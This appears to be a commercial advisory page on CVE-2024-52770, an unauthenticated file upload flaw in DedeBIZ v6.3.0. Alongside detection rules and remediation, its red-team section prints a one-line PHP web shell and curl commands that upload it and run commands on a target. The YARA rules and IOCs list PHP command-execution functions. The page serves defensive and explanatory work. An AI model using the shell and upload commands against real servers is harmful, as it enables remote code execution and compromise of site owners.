CVE-2024-52770
Executive Summary
CVE-2024-52770 is a critical arbitrary file upload vulnerability discovered in DedeBIZ v6.3.0, a popular content management system (CMS) widely used in Chinese-language web environments. The flaw resides in the /admin/file_manage_control component, which fails to properly validate or sanitize uploaded files. An unauthenticated attacker can exploit this to upload a malicious file (e.g., a web shell) and achieve remote code execution (RCE) on the underlying server. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) due to network exploitability, low attack complexity, no privileges required, and no user interaction. No official patch has been released by the vendor as of this analysis, and public proof-of-concept (PoC) code is available, increasing the risk of widespread exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
DedeBIZ is a PHP-based CMS distributed as a ZIP archive from the official website. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Organizations using DedeBIZ should treat this as a supply chain risk: if the application is deployed from an untrusted source or if the vendor does not provide a timely patch, the entire deployment is compromised. There are no known compromised packages in public registries, but the lack of a patch means any DedeBIZ v6.3.0 installation is vulnerable.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or race conditions are required.
- Privileges Required (PR): None – No authentication is needed to reach the vulnerable endpoint.
- User Interaction (UI): None – The victim does not need to perform any action.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High – Full read access to all files on the server.
- Integrity (I): High – Full write access, including file upload and modification.
- Availability (A): High – Potential to delete or corrupt files, causing denial of service.
Threat Level: Critical. The combination of network exploitability, no authentication, and public PoC makes this a high-priority vulnerability for immediate remediation.
Deep Dive & Mechanics
The vulnerability exists in the /admin/file_manage_control endpoint of DedeBIZ v6.3.0. This endpoint is intended for administrators to manage files (upload, delete, rename) within the CMS. However, the file upload functionality does not enforce proper validation of file types, MIME types, or file extensions. An attacker can send a multipart HTTP POST request to this endpoint with a crafted file (e.g., a PHP web shell) and the server will accept and store it in a web-accessible directory.
The root cause is a missing or insufficient check in the server-side code that handles file uploads. Typically, secure implementations would:
- Validate the file extension against a whitelist (e.g., only
.jpg,.png,.gif). - Check the MIME type of the uploaded file.
- Rename the file to a random string to prevent path traversal.
- Store uploaded files outside the web root or in a directory with script execution disabled.
In DedeBIZ v6.3.0, none of these controls are properly enforced. The uploaded file is stored with its original name in a predictable path (e.g., /uploads/), and the server executes PHP files in that directory. An attacker can then access the uploaded file via a web browser, triggering code execution.
The exploit is straightforward:
- Craft a PHP file containing malicious code (e.g.,
<?php system($_GET['cmd']); ?>). - Send a POST request to
/admin/file_manage_controlwith the file as a multipart form-data parameter. - Access the uploaded file at
/uploads/<filename>.phpwith a command parameter.
Vulnerable vs. Patched Code
Since no official patch exists, we compare the vulnerable code pattern to a hypothetical secure implementation.
Vulnerable Code (DedeBIZ v6.3.0 - /admin/file_manage_control.php):
<?php
// Vulnerable: No file type validation
$upload_dir = DEDEROOT.'/uploads/';
$filename = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
move_uploaded_file($tmp_name, $upload_dir.$filename);
echo "File uploaded successfully.";
?>
Patched Code (Hypothetical Secure Implementation):
<?php
// Patched: Whitelist allowed extensions and rename file
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp'];
$upload_dir = DEDEROOT.'/uploads/';
$filename = $_FILES['file']['name'];
$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($extension, $allowed_extensions)) {
die("Invalid file type.");
}
// Generate a random filename to prevent overwriting and path traversal
$new_filename = uniqid() . '.' . $extension;
$tmp_name = $_FILES['file']['tmp_name'];
if (move_uploaded_file($tmp_name, $upload_dir.$new_filename)) {
echo "File uploaded successfully.";
} else {
echo "Upload failed.";
}
?>
The patched version adds:
- Extension whitelist check.
- Random filename generation to prevent predictable paths.
- No MIME type check (optional but recommended).
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- DedeBIZ v6.3.0 installed on a target server (e.g.,
http://target.com/). - Network access to the
/admin/file_manage_controlendpoint.
Exploit Steps:
Craft a malicious PHP file (e.g.,
shell.php):<?php system($_GET['cmd']); ?>Upload the file using curl:
curl -X POST -F "file=@shell.php" http://target.com/admin/file_manage_controlExecute commands:
curl "http://target.com/uploads/shell.php?cmd=id"
Expected Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Advanced Exploitation:
- Use a more sophisticated web shell (e.g.,
p0wny-shellorweevely). - Chain with privilege escalation exploits (e.g., CVE-2021-4034 for Linux).
- Use the initial foothold to pivot to internal networks.
Blue Team (Defensive)
Detection Steps:
- Monitor HTTP POST requests to
/admin/file_manage_control– especially from non-admin IPs. - Inspect uploaded files – look for PHP, ASP, JSP, or other executable extensions in the uploads directory.
- Check for anomalous file sizes – web shells are often small (< 5KB).
- Review server logs for access to
/uploads/directory with query strings (e.g.,?cmd=).
Honeypot Strategy:
- Deploy a fake DedeBIZ instance and monitor for upload attempts.
- Log the attacker's IP, User-Agent, and uploaded file content.
Containment:
- Immediately block the
/admin/file_manage_controlendpoint at the WAF or reverse proxy. - Remove any suspicious files from the uploads directory.
- Rotate all credentials and review system integrity.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/admin/file_manage_controlwith multipart/form-data containing a file. - HTTP GET requests to
/uploads/*.phpwith query parameters likecmd,exec,system. - Unusual User-Agent strings (e.g.,
curl/7.x,python-requests/2.x).
File System IOCs:
- Files in
/uploads/with.php,.phtml,.php5,.shtmlextensions. - Files containing PHP code like
system,exec,shell_exec,passthru,eval,assert. - Unexpected files with world-readable permissions (e.g.,
644).
Log IOCs:
- Apache/Nginx access logs showing
POST /admin/file_manage_control HTTP/1.1with status200. - Error logs with PHP warnings about
move_uploaded_fileor file permissions.
YARA Rule:
rule DedeBIZ_WebShell_Upload {
meta:
description = "Detects web shell files uploaded via CVE-2024-52770"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-52770"
strings:
$php_shell = /<\?php\s*(system|exec|shell_exec|passthru|eval|assert)\s*\(/
$upload_path = /\/uploads\/.*\.php/
condition:
$php_shell and $upload_path
}
Detection Engineering
YARA Rule
rule CVE_2024_52770_Upload_Detection {
meta:
description = "Detects malicious file uploads targeting DedeBIZ CVE-2024-52770"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-52770"
strings:
$php_code = /<\?php\s*(system|exec|shell_exec|passthru|eval|assert|popen|proc_open)\s*\(/
$upload_endpoint = "/admin/file_manage_control"
condition:
$php_code and $upload_endpoint
}
Sigma Rule
title: DedeBIZ CVE-2024-52770 File Upload Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to the vulnerable DedeBIZ file upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
cs-uri-stem: '/admin/file_manage_control'
condition: selection
falsepositives:
- Legitimate admin file uploads (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-52770 DedeBIZ File Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/admin/file_manage_control"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint – Block
/admin/file_manage_controlat the web server or WAF level. - Remove uploaded malicious files – Scan the
/uploads/directory for any PHP files and delete them. - Apply virtual patching – Use a WAF rule to block file uploads with executable extensions (e.g.,
.php,.phtml).
Long-Term Fixes:
- Vendor patch: Await an official patch from DedeBIZ. Monitor their official channels.
- Code fix: If you have access to the source code, implement the patched code shown in the "Vulnerable vs. Patched Code" section.
- Upgrade: Consider migrating to a supported CMS if DedeBIZ does not release a patch.
Compensating Controls:
- Restrict access to the admin panel via VPN or IP whitelisting.
- Implement file upload validation at the reverse proxy (e.g., Nginx
client_body_in_file_onlywith extension check). - Use a Web Application Firewall (WAF) with rules to block file uploads containing PHP code.
Monitoring:
- Enable detailed logging for all file upload endpoints.
- Set up alerts for any access to
/uploads/with query strings. - Regularly review server logs for signs of exploitation.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.